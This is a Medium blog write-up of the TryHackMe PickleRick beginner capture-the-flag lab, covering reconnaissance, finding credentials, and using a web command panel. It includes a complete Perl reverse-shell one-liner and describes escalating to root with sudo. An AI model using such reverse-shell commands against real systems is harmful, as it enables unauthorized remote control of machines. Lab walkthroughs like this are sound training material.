TryHackMe-PickleRick CTF

PickleRick is a free beginner level webapplication kinda CTF.


Like always we are going to fire up our nmap scan on the box to look for open ports

nmap -T4 -A -p-

Here -T4 tells the speed of scanning -A tells to look for all -p- tells to look for ports

and in the end is the box ip (machine ip)

Here we can see that there are 2 open ports

SSH (22) HTTP (80)

So first we will try to exploit HTTP

This is the home page that is loaded upon entering the ip address.

If we try to look at the source we can see Wubbalubbadubdubthat it’s telling us that there’s a user named “R1ckRul3s” so we are going to use it later when we try to ssh are way into the box.

Port 80

I tried to see if “robots.txt” was accessable and what I found was a text “Wubbalubbadubdub” , i don’t know what it means by lets see what elese we can find.


On bruteforcing directory we find out that there is a login page on the website

On submitting the username and the text we found on robots.txt we are able to login to the potral

From here we can execute commands like “pwd” or “whoami” which will give result of these commands so we can use this as a shell.

On the current directory on giving “ls” command we can see what is that current directory also on looking at the source of the page we can find a base64 text but it doesn’t really decode into something.

But we still can’t access the files on the webpage.

I headed over to pentest monkey

Tried the nc(netcat),php,bash,python2 reverse shell but they didn’t work so then i tired the perl reverse shell however we can use python3 instead of python2 to execute python reverse shell.

perl -e 'use Socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

It gave me a reverse shell on my terminal.

First Ingredient

So now for the first ingredient I had no problem in viewing “Sup3rS3cretPickl3Ingred.txt”.

Second Ingredient

For second ingredient I moved around the directories and found something named “second ingredients”.

For viewing this file as there is a space in between so in linux you have to use ‘\ ‘ backslash + space for entering second string of a file.

Third Ingredient

For the third ingredient there are two ways:

  1. Since we can ran any command by writing “sudo” before it so one way is to look into “ubuntu” folder and there we have a file called “.bash_history”
  1. Another method for getting the third ingredient is by accessing “root” folder.
  1. Or you can run “sudo bash” , that would make you a root user.

You have successfully completed this CTF.




Pentester | CTF Player

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Object Oriented Programming

Future With Flutter

Blogpost 204-classes

Working Effectively With Legacy Code — Mechanics of Change(Part II: Chapter 1)

Failed to import CuPy

Enclave Games Monthly Report: December 2020

Evolution of Windows OS

How Process Mining Supports Operational Resilience

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


Pentester | CTF Player

More from Medium

Exatlon Walkthrough [Reverse Engineer Challenge]


HackTheBox Write-up

XXE — TryHackme WriteUp